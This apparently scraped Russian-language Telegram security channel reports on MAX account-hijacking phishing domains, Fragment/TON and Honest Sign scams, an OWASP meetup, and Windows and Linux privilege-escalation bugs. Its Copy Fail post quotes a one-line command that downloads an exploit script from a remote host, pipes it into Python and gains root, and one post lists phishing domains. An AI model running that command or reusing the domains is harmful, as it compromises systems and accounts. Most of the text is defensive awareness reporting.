Forwarded from CyberSquatting RU Alerts
Как-то так выглядит история с угоном аккаунтов в телеграм MAX.
Ничего нового. Приходит ссылка или html-файлик с редиректом. Предлагают проголосовать за ребенка на конкурсе, посмотреть видео и т.п. Дальше по стандартному сценарию - введите номер, введите код из SMS. На Android могут предложить установить apk-шку.
Активность заметно выросла в марте. Точных цифр не знаю, но покопавшись немного в одном таком ресурсе нашел счетчик отправленных им номеров телефона, их было 312. Домену было чуть больше суток. Таких доменов за март месяц зарегистрировано две-три сотни, это те что мне попались на глаза.
Несколько свежих доменов, зарегистрированных уже в апреле.
Ничего нового. Приходит ссылка или html-файлик с редиректом. Предлагают проголосовать за ребенка на конкурсе, посмотреть видео и т.п. Дальше по стандартному сценарию - введите номер, введите код из SMS. На Android могут предложить установить apk-шку.
Активность заметно выросла в марте. Точных цифр не знаю, но покопавшись немного в одном таком ресурсе нашел счетчик отправленных им номеров телефона, их было 312. Домену было чуть больше суток. Таких доменов за март месяц зарегистрировано две-три сотни, это те что мне попались на глаза.
Несколько свежих доменов, зарегистрированных уже в апреле.
maxvotesbos.click
maxvotesbo.click
maxxvideohost.forum
maxlogin.lol
videosmax.click
goloosovaniemax2026.live
maxvotesbon.click
myvideomax.click
videosmax.cc
golosovanie-max-ru.com
yourmaxvideo.click
getvideomax.click
golosyivmax.info
golosovmax.info
testtmaxx.click
videosdtp.online
dtpvgorode.help
mvddtp.click
maxvotenowss.click
maxvotetrys.click
maxvotenows.click
golosvmax.info
trankonmax.click
maxgolos.lol
videosentmax.click
ok-ru-videos.forum
videozapise.click
maxgolosx.lol
maxvotesnowtry.click
votemaxnow.click
😱2
Forwarded from Intercepter-NG
Необычные чувства возникают при написании этих строк, но итог закономерен. 20 лет для инди-проекта — это немало. Он начинался как эксперимент для самообразования, но превратился в нечто большее. Работа над цептером изменила не только меня, но и людей вокруг. Я рад, что смог вдохновить многих начать свой путь в IT индустрии. На протяжении этих лет с проектом были связаны различные истории. Одно оставалось неизменным - путь вперед и постоянное совершенствование. Всем сопричастным - спасибо.
Что будет с доменом sniff.su я не знаю. Доступа к github у меня больше нет. Последние билды будут храниться там как на кладбище. Канал в tg остается жить, сам я доступен для связи. На этом все...
Что будет с доменом sniff.su я не знаю. Доступа к github у меня больше нет. Последние билды будут храниться там как на кладбище. Канал в tg остается жить, сам я доступен для связи. На этом все...
3😱2
Forwarded from Киберболоид
Скупой платит дважды хакерам
Замкнутый цикл: вас взломали, вы заплатили выкуп, после этого они взломали ещё больше народу.
➡️ В новой статье «Киберболоида» называем три причины, почему нельзя соглашаться на условия кибервымогателей — и что же, собственно, нужно делать, если от вас требуют выкуп, а главное — как не допустить такой ситуации.
#киберболоид #мастерская
Замкнутый цикл: вас взломали, вы заплатили выкуп, после этого они взломали ещё больше народу.
#киберболоид #мастерская
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Email-форвардинг от THC.
Ребята из легендарной хакерской тусовки The Hacker's Choice (THC) запустили сервис для пересылки писем — mail.thc.org.
Алиасы (почтовые псевдонимы) на базе 51 домена.
У проекта открытый исходный код, который может проверить любой желающий.
Без регистрации — создать алиас можно в пару кликов, даже не заводя аккаунт.
Из интересного - домены типа revil.org, metasploit.io и т.д.
/Но читать ваши сообщения они смогут/
Ссылку увидел в proxy bar'е.
Ребята из легендарной хакерской тусовки The Hacker's Choice (THC) запустили сервис для пересылки писем — mail.thc.org.
Алиасы (почтовые псевдонимы) на базе 51 домена.
У проекта открытый исходный код, который может проверить любой желающий.
Без регистрации — создать алиас можно в пару кликов, даже не заводя аккаунт.
Из интересного - домены типа revil.org, metasploit.io и т.д.
/Но читать ваши сообщения они смогут/
Ссылку увидел в proxy bar'е.
❤1
Инструкция по настройке безопасности в мессенджере MAX, которая поможет защитить ваш аккаунт и обезопасить ваших близких (особенно пожилых родственников или детей).
Чтобы полностью защитить свой профиль, необходимо настроить два типа паролей:
Облачный пароль (пароль для входа / двухфакторная аутентификация) - / сделать обязательно!!!
Он защитит аккаунт от угона, даже если мошенники перехватят вашу СМС или сделают дубликат SIM-карты.
Где найти: Профиль → Приватность (или Безопасность) → Пароль для входа.
Локальный код-пароль (блокировка самого приложения) - / по желанию
Спасет вашу переписку, если вы оставите телефон разблокированным или его украдут.
Дополнительно: Активируйте вход по биометрии (Face ID или отпечаток пальца) и установите время автоблокировки (например, через 1 минуту неактивности).
Безопасный аккаунт для близкого / семейная защита MAX
В мессенджере MAX есть специальные функции для защиты родственников от телефонных мошенников и спама. Возьмите телефон близкого человека и сделайте следующее:
Как настроить: На своем телефоне зайдите в Профиль → Безопасность → Семейная защита → нажмите Создать защиту. На экране появится код. Возьмите телефон близкого человека и введите этот код в его приложении в том же разделе.
Если вашему родственнику напишет контакт, помеченный системой как «потенциальный мошенник», вы получите уведомление. Также система запретит добавлять вашего близкого в подозрительные группы без вашего подтверждения.
Активируйте «Безопасный режим»
Этот режим максимально ограничивает возможность незнакомцев связываться с вами или вашими родственниками.
Как настроить: перейдите в Профиль → Приватность и включите тумблер Безопасный режим. Аккаунт будет скрыт от посторонних. Писать и звонить смогут только те люди, которые уже добавлены в его список контактов.
Жесткие настройки приватности (Цифровая гигиена)
В разделе Профиль → Приватность на телефоне близкого установите следующие параметры:
Кто может мне звонить: «Мои контакты» (заблокирует 99% спам-дозвонов).
Кто может найти меня по номеру: «Мои контакты».
Приглашения в группы и каналы: «Мои контакты» (защитит от добавления в мошеннические чаты с «розыгрышами»).
Если вы НЕ ХОТИТЕ авторизовываться через MAX на портале Госуслуги
Если внедрение авторизации через мессенджер «Макс» не планируется или нецелесообразно, рекомендуется добавить поддержку двухфакторной аутентификации (2FA) с использованием OTP-кодов (Time-based One-Time Password).
Для генерации и хранения кодов пользователи смогут использовать популярные приложения-аутентификаторы — например, Яндекс ID, Google Authenticator, Kaspersky Password Manager или Authy. Такое решение позволит полностью исключить зависимость от нестабильной доставки SMS-сообщений и работоспособности мессенджера «Макс». Кроме того, приложения-аутентификаторы генерируют коды локально на устройстве пользователя даже без доступа к интернету, что делает процесс входа более надежным, быстрым и безопасным.
Чтобы полностью защитить свой профиль, необходимо настроить два типа паролей:
Облачный пароль (пароль для входа / двухфакторная аутентификация) - / сделать обязательно!!!
Он защитит аккаунт от угона, даже если мошенники перехватят вашу СМС или сделают дубликат SIM-карты.
Где найти: Профиль → Приватность (или Безопасность) → Пароль для входа.
Локальный код-пароль (блокировка самого приложения) - / по желанию
Спасет вашу переписку, если вы оставите телефон разблокированным или его украдут.
Дополнительно: Активируйте вход по биометрии (Face ID или отпечаток пальца) и установите время автоблокировки (например, через 1 минуту неактивности).
Безопасный аккаунт для близкого / семейная защита MAX
В мессенджере MAX есть специальные функции для защиты родственников от телефонных мошенников и спама. Возьмите телефон близкого человека и сделайте следующее:
Как настроить: На своем телефоне зайдите в Профиль → Безопасность → Семейная защита → нажмите Создать защиту. На экране появится код. Возьмите телефон близкого человека и введите этот код в его приложении в том же разделе.
Если вашему родственнику напишет контакт, помеченный системой как «потенциальный мошенник», вы получите уведомление. Также система запретит добавлять вашего близкого в подозрительные группы без вашего подтверждения.
Активируйте «Безопасный режим»
Этот режим максимально ограничивает возможность незнакомцев связываться с вами или вашими родственниками.
Как настроить: перейдите в Профиль → Приватность и включите тумблер Безопасный режим. Аккаунт будет скрыт от посторонних. Писать и звонить смогут только те люди, которые уже добавлены в его список контактов.
Жесткие настройки приватности (Цифровая гигиена)
В разделе Профиль → Приватность на телефоне близкого установите следующие параметры:
Кто может мне звонить: «Мои контакты» (заблокирует 99% спам-дозвонов).
Кто может найти меня по номеру: «Мои контакты».
Приглашения в группы и каналы: «Мои контакты» (защитит от добавления в мошеннические чаты с «розыгрышами»).
Главное правило: Обязательно напомните близким, что сотрудники поддержки MAX, Госуслуг или банков никогда не запрашивают коды из СМС в личной переписке.
Если вы НЕ ХОТИТЕ авторизовываться через MAX на портале Госуслуги
Если внедрение авторизации через мессенджер «Макс» не планируется или нецелесообразно, рекомендуется добавить поддержку двухфакторной аутентификации (2FA) с использованием OTP-кодов (Time-based One-Time Password).
Для генерации и хранения кодов пользователи смогут использовать популярные приложения-аутентификаторы — например, Яндекс ID, Google Authenticator, Kaspersky Password Manager или Authy. Такое решение позволит полностью исключить зависимость от нестабильной доставки SMS-сообщений и работоспособности мессенджера «Макс». Кроме того, приложения-аутентификаторы генерируют коды локально на устройстве пользователя даже без доступа к интернету, что делает процесс входа более надежным, быстрым и безопасным.
👍7😱2❤1
В сети появился эксплойт BlueHammer для Windows, позволяющий повысить привилегии до SYSTEM или администратора с расширенными правами. Уязвимость локальная и сочетает TOCTOU‑ошибку с путаницей путей, открывая доступ к базе SAM с хэшами паролей.
Код опубликован исследователем под псевдонимом Chaotic Eclipse/Nightmare-Eclipse после частного сообщения об уязвимости в Microsoft. Причиной публикации стало недовольство бюрократией и методами работы Microsoft Security Response Center (MSRC).
Сам код, по словам автора, содержит ошибки, из-за которых эксплойт нестабилен, а на Windows Server работает ограниченно, повышая права лишь до «администратор с повышенными правами».
Эксплуатация требует локального доступа, возможного через фишинг, другие уязвимости или компрометацию учетных данных. Microsoft изучает проблему, патча пока нет, что делает BlueHammer уязвимостью нулевого дня.
Код опубликован исследователем под псевдонимом Chaotic Eclipse/Nightmare-Eclipse после частного сообщения об уязвимости в Microsoft. Причиной публикации стало недовольство бюрократией и методами работы Microsoft Security Response Center (MSRC).
Сам код, по словам автора, содержит ошибки, из-за которых эксплойт нестабилен, а на Windows Server работает ограниченно, повышая права лишь до «администратор с повышенными правами».
Эксплуатация требует локального доступа, возможного через фишинг, другие уязвимости или компрометацию учетных данных. Microsoft изучает проблему, патча пока нет, что делает BlueHammer уязвимостью нулевого дня.
😱1
Новая схема фишинга через «Честный ЗНАК», Max и Госуслуги.
Мошенники рассылают сообщения, очень похожие на официальные уведомления от «Честного ЗНАКа».
В письме или рассылке пишут, что якобы для вашей товарной категории создан канал в Max, где можно общаться с экспертами и задавать вопросы по внедрению.
Дальше предлагают:
— перейти по ссылке;
— «добавиться в канал»;
— ввести код подтверждения.
После нажатия может прийти SMS-код от Госуслуг.
Именно на это и рассчитана схема: человек думает, что подтверждает вход в полезный рабочий канал, а на самом деле может передать мошенникам доступ к своему аккаунту.
Почему это опасно:
Сообщение выглядит правдоподобно, тема актуальная, а связка сервисов не вызывает подозрений. На это и делается расчёт — на спешку, доверие и действие «по инерции».
Что важно помнить:
— не вводите коды из SMS, если не уверены на 100%, что именно подтверждаете;
— не переходите по ссылкам из неожиданных рассылок;
— проверяйте отправителя и адрес сайта;
— любые вопросы по «Честному ЗНАКу» лучше уточнять только через официальные каналы.
Если уже ввели код:
срочно смените пароль, проверьте входы в аккаунт и обратитесь в поддержку Госуслуг.
приходит мне рассылка от Честного знака. Ну вылитая как от них, такая жёлтенькая. А моя категория только с 1 апреля в ЧЗ и вопросов, конечно, очень много. А в рассылке написано "По вашей категории создан канал в Макс, где вы можете с нашими экспертами участвовать в рабочих группах по внедрению ЧЗ и совместно с представителями других бизнесов вашей товарной категории задавать вопросы по вашим кейсам". Ну в таком духе что-то.
И внизу "Если хотите добавиться в наш канал в макс нажмите сюда и введите в окошко код подтверждения"
Я нажала, приходит смс от госуслуг.
Госуслуги и Макс уже в такой плотной связке, что я чуть по инерции не ввела..
Мошенники рассылают сообщения, очень похожие на официальные уведомления от «Честного ЗНАКа».
В письме или рассылке пишут, что якобы для вашей товарной категории создан канал в Max, где можно общаться с экспертами и задавать вопросы по внедрению.
Дальше предлагают:
— перейти по ссылке;
— «добавиться в канал»;
— ввести код подтверждения.
После нажатия может прийти SMS-код от Госуслуг.
Именно на это и рассчитана схема: человек думает, что подтверждает вход в полезный рабочий канал, а на самом деле может передать мошенникам доступ к своему аккаунту.
Почему это опасно:
Сообщение выглядит правдоподобно, тема актуальная, а связка сервисов не вызывает подозрений. На это и делается расчёт — на спешку, доверие и действие «по инерции».
Что важно помнить:
— не вводите коды из SMS, если не уверены на 100%, что именно подтверждаете;
— не переходите по ссылкам из неожиданных рассылок;
— проверяйте отправителя и адрес сайта;
— любые вопросы по «Честному ЗНАКу» лучше уточнять только через официальные каналы.
Если уже ввели код:
срочно смените пароль, проверьте входы в аккаунт и обратитесь в поддержку Госуслуг.
50👍2
Forwarded from aRTema
Media is too big
VIEW IN TELEGRAM
Полную версию подкаста смотрите здесь:
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍7❤4😱3
Forwarded from .unsec_ru
This media is not supported in your browser
VIEW IN TELEGRAM
Copy Fail: новая LPE-уязвимость в Linux (root на любом Linux в один клик)
Copy Fail — CVE-2026-31431, уязвимость в ядре Linux, которую исследователи называют почти идеальным LPE: обычный локальный пользователь может получить root без race condition, без подбора оффсетов и без сложной подготовки.
Авторы заявляют, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.
Суть бага — логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.
Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или запуск кода на машине. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это выглядит максимально неприятно: контейнер или обычный пользователь могут стать проблемой уровня хоста.
Copy Fail — CVE-2026-31431, уязвимость в ядре Linux, которую исследователи называют почти идеальным LPE: обычный локальный пользователь может получить root без race condition, без подбора оффсетов и без сложной подготовки.
Авторы заявляют, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.
Суть бага — логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.
Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или запуск кода на машине. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это выглядит максимально неприятно: контейнер или обычный пользователь могут стать проблемой уровня хоста.
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
1😱8❤4
Forwarded from OWASP RU
OWASP RUSSIA MEETUP: AI в анализе кода, SSR-безопасность, атаки на CMS, Telegram-фишинг и ML в AppSec
14 мая состоится OWASP RUSSIA MEETUP — встреча для специалистов по информационной безопасности, разработчиков, AppSec/SRE/DevSecOps-инженеров, инфраструктурных команд и всех, кому интересны современные практики защиты приложений.
В программе — доклады о графовых подходах в анализе кода, рисках SSR на примере React2Shell, атаках на установщики CMS, сценариях Telegram-фишинга через QR-коды и балансе между ML-подходами и классическими правилами в AppSec.
Программа митапа
19:00 — Приветственное слово
Лука Сафонов, OWASP Russia chapter leader
Модератор: Павел Кузнецов, Инфосистемы Джет
19:10 — AI + анализ кода: графовые подходы и почему они снова актуальны
Радда Юрьева, PT
Доклад будет посвящён тому, как CPG/PDG-графы становятся основой для контекстного поиска уязвимостей в коде.
Ключевые темы:
CPG/PDG-графы в анализе кода;
контекстный поиск уязвимостей;
связка графовых подходов с LLM;
применение графовых нейросетей в задачах AppSec.
19:55 — Риски безопасности SSR на примере React2Shell и их митигация
Артем Чувикин, Ngenix
Современные web-приложения всё чаще используют server-side rendering, что улучшает производительность, SEO и пользовательский опыт, но одновременно расширяет поверхность атаки. На примере React2Shell будут разобраны риски, возникающие в SSR-архитектуре, и способы их снижения.
Ключевые темы:
особенности безопасности SSR-приложений;
attack surface server-side React;
уязвимость React2Shell;
практическая эксплуатация на демонстрационном приложении;
virtual patching через WAF, CDN и reverse proxy.
20:35 — Перерыв
20:50 — Атаки на установщики CMS: как захватить контроль над ещё не установленной системой
Александр Колчанов, независимый эксперт
Доклад посвящён сценарию, при котором атакующий находит доступные установщики CMS и использует их для получения контроля над сервером ещё до полноценной установки системы.
Ключевые темы:
поиск открытых установщиков CMS;
получение доступа к админке через процесс установки;
загрузка shell;
удаление установленной CMS и восстановление установщика;
захват контроля без эксплуатации типовых CVE.
21:30 — Как я украду вашу телегу
Михаил Жмайло, CICADA8
QR-код давно стал привычным способом аутентификации во многих приложениях. В докладе будут разобраны фишинговые атаки на QR-аутентификацию, сценарии QRLjacking и использование Telegram как платформы для атак социальной инженерии.
Ключевые темы:
QRLjacking;
фишинговые атаки через Telegram;
захват аккаунта через QR-код;
вредоносный MiniApp;
автоматизация сбора информации;
persistence в Telegram-сценариях.
22:10 — Баланс точности и полноты: ML vs ifчики
Павел Конан, Yandex
Индустрия кибербезопасности активно продвигает AI-powered-решения, противопоставляя их классическим сигнатурам и правилам. Но на практике выбор между ML и rule-based-подходами почти всегда упирается в компромисс между Precision и Recall.
Ключевые темы:
ML против правил и эвристик в AppSec;
компромисс между Precision и Recall;
False Positive и False Negative в WAF и SAST;
alert fatigue у разработчиков;
архитектурные паттерны security-инструментов;
чек-лист: когда нужен ML, а когда достаточно rule-based-подхода.
22:50 — Завершение
Участие в митапе бесплатное и осуществляется по предварительной регистрации. Ссылка на место проведения (Москва) будет отправлена на email.
До встречи 14 мая!
14 мая состоится OWASP RUSSIA MEETUP — встреча для специалистов по информационной безопасности, разработчиков, AppSec/SRE/DevSecOps-инженеров, инфраструктурных команд и всех, кому интересны современные практики защиты приложений.
В программе — доклады о графовых подходах в анализе кода, рисках SSR на примере React2Shell, атаках на установщики CMS, сценариях Telegram-фишинга через QR-коды и балансе между ML-подходами и классическими правилами в AppSec.
Программа митапа
19:00 — Приветственное слово
Лука Сафонов, OWASP Russia chapter leader
Модератор: Павел Кузнецов, Инфосистемы Джет
19:10 — AI + анализ кода: графовые подходы и почему они снова актуальны
Радда Юрьева, PT
Доклад будет посвящён тому, как CPG/PDG-графы становятся основой для контекстного поиска уязвимостей в коде.
Ключевые темы:
CPG/PDG-графы в анализе кода;
контекстный поиск уязвимостей;
связка графовых подходов с LLM;
применение графовых нейросетей в задачах AppSec.
19:55 — Риски безопасности SSR на примере React2Shell и их митигация
Артем Чувикин, Ngenix
Современные web-приложения всё чаще используют server-side rendering, что улучшает производительность, SEO и пользовательский опыт, но одновременно расширяет поверхность атаки. На примере React2Shell будут разобраны риски, возникающие в SSR-архитектуре, и способы их снижения.
Ключевые темы:
особенности безопасности SSR-приложений;
attack surface server-side React;
уязвимость React2Shell;
практическая эксплуатация на демонстрационном приложении;
virtual patching через WAF, CDN и reverse proxy.
20:35 — Перерыв
20:50 — Атаки на установщики CMS: как захватить контроль над ещё не установленной системой
Александр Колчанов, независимый эксперт
Доклад посвящён сценарию, при котором атакующий находит доступные установщики CMS и использует их для получения контроля над сервером ещё до полноценной установки системы.
Ключевые темы:
поиск открытых установщиков CMS;
получение доступа к админке через процесс установки;
загрузка shell;
удаление установленной CMS и восстановление установщика;
захват контроля без эксплуатации типовых CVE.
21:30 — Как я украду вашу телегу
Михаил Жмайло, CICADA8
QR-код давно стал привычным способом аутентификации во многих приложениях. В докладе будут разобраны фишинговые атаки на QR-аутентификацию, сценарии QRLjacking и использование Telegram как платформы для атак социальной инженерии.
Ключевые темы:
QRLjacking;
фишинговые атаки через Telegram;
захват аккаунта через QR-код;
вредоносный MiniApp;
автоматизация сбора информации;
persistence в Telegram-сценариях.
22:10 — Баланс точности и полноты: ML vs ifчики
Павел Конан, Yandex
Индустрия кибербезопасности активно продвигает AI-powered-решения, противопоставляя их классическим сигнатурам и правилам. Но на практике выбор между ML и rule-based-подходами почти всегда упирается в компромисс между Precision и Recall.
Ключевые темы:
ML против правил и эвристик в AppSec;
компромисс между Precision и Recall;
False Positive и False Negative в WAF и SAST;
alert fatigue у разработчиков;
архитектурные паттерны security-инструментов;
чек-лист: когда нужен ML, а когда достаточно rule-based-подхода.
22:50 — Завершение
Участие в митапе бесплатное и осуществляется по предварительной регистрации. Ссылка на место проведения (Москва) будет отправлена на email.
До встречи 14 мая!
⚠️ Покупка вашего никнейма в телеграм- схема развода под видом сделки на Fragment / TON ⚠️
/учитывая возросший курс - схема будет применятся чаще.
Мошенники пишут владельцам Telegram-юзернеймов и предлагают “выкупить” ник за крупную сумму в TON. Дальше присылают фейковую страницу “Fragment / Trade Info”, где якобы уже создана сделка, средства “заблокированы в escrow”, а покупатель “ждёт подтверждения”.
Сначала просят подключить TON-кошелёк через TON Connect. Затем появляется ошибка Insufficient funds и требование пополнить кошелёк на “5% от суммы сделки” для активации смарт-контракта.
❗️Это развод.
В нормальной сделке на Fragment продавец не должен заранее вносить сотни TON, чтобы “получить оплату”. Любые фразы вроде:
— “offer has already been paid”
— “sign up to accept it”
— “funds are locked in smart-contract escrow”
— “top up your wallet with 5%”
— “deal will expire soon”
— это красные флаги.
Что делать:
✅ не подключать кошелёк к сомнительным mini app;
✅ не подписывать транзакции;
✅ не пополнять кошелёк “для активации”;
✅ проверять сделки только через официальный Fragment, вручную открывая сайт;
✅ если кошелёк уже подключён — отключить приложение в TON Connect / Connected Apps.
Главная цель мошенников — заставить вас пополнить кошелёк и подписать транзакцию, после чего TON или активы могут уйти безвозвратно.
Берегите свои ники, кошельки и TON.
/учитывая возросший курс - схема будет применятся чаще.
Мошенники пишут владельцам Telegram-юзернеймов и предлагают “выкупить” ник за крупную сумму в TON. Дальше присылают фейковую страницу “Fragment / Trade Info”, где якобы уже создана сделка, средства “заблокированы в escrow”, а покупатель “ждёт подтверждения”.
Сначала просят подключить TON-кошелёк через TON Connect. Затем появляется ошибка Insufficient funds и требование пополнить кошелёк на “5% от суммы сделки” для активации смарт-контракта.
❗️Это развод.
В нормальной сделке на Fragment продавец не должен заранее вносить сотни TON, чтобы “получить оплату”. Любые фразы вроде:
— “offer has already been paid”
— “sign up to accept it”
— “funds are locked in smart-contract escrow”
— “top up your wallet with 5%”
— “deal will expire soon”
— это красные флаги.
Что делать:
✅ не подключать кошелёк к сомнительным mini app;
✅ не подписывать транзакции;
✅ не пополнять кошелёк “для активации”;
✅ проверять сделки только через официальный Fragment, вручную открывая сайт;
✅ если кошелёк уже подключён — отключить приложение в TON Connect / Connected Apps.
Главная цель мошенников — заставить вас пополнить кошелёк и подписать транзакцию, после чего TON или активы могут уйти безвозвратно.
Берегите свои ники, кошельки и TON.
🤯2
Forwarded from .unsec_ru
Dirty Frag: Universal Linux LPE
Появилась публичная информация о Dirty Frag — новом классе LPE-уязвимостей в Linux, позволяющем локальному непривилегированному пользователю получить root за счет записи в page cache через сетевые буферы ядра.
Исследователь Hyunwoo Kim описывает цепочку из xfrm-ESP и RxRPC Page-Cache Write; заявлено, что эксплуатация не требует race condition и имеет высокую надежность. Наибольший риск — для серверов с контейнерами, Kubernetes, CI/CD runners, shared-хостинга и любых систем, где недоверенный код может запускаться локально.
Dirty Pipe в 2022 показал возможность атаковать page cache через pipes. Copy Fail недавно продемонстрировал похожий класс проблемы через AF_ALG. DirtyFrag продолжает ту же линию — page cache write через ESP и RxRPC. Три разные подсистемы ядра, но один повторяющийся класс ошибок.
До выхода backport-патчей рекомендуется оценить использование esp4/esp6/rxrpc, временно отключить соответствующие модули там, где это безопасно, и оперативно обновить ядро после публикации исправлений дистрибутивом.
Появилась публичная информация о Dirty Frag — новом классе LPE-уязвимостей в Linux, позволяющем локальному непривилегированному пользователю получить root за счет записи в page cache через сетевые буферы ядра.
Исследователь Hyunwoo Kim описывает цепочку из xfrm-ESP и RxRPC Page-Cache Write; заявлено, что эксплуатация не требует race condition и имеет высокую надежность. Наибольший риск — для серверов с контейнерами, Kubernetes, CI/CD runners, shared-хостинга и любых систем, где недоверенный код может запускаться локально.
Dirty Pipe в 2022 показал возможность атаковать page cache через pipes. Copy Fail недавно продемонстрировал похожий класс проблемы через AF_ALG. DirtyFrag продолжает ту же линию — page cache write через ESP и RxRPC. Три разные подсистемы ядра, но один повторяющийся класс ошибок.
До выхода backport-патчей рекомендуется оценить использование esp4/esp6/rxrpc, временно отключить соответствующие модули там, где это безопасно, и оперативно обновить ядро после публикации исправлений дистрибутивом.
👍1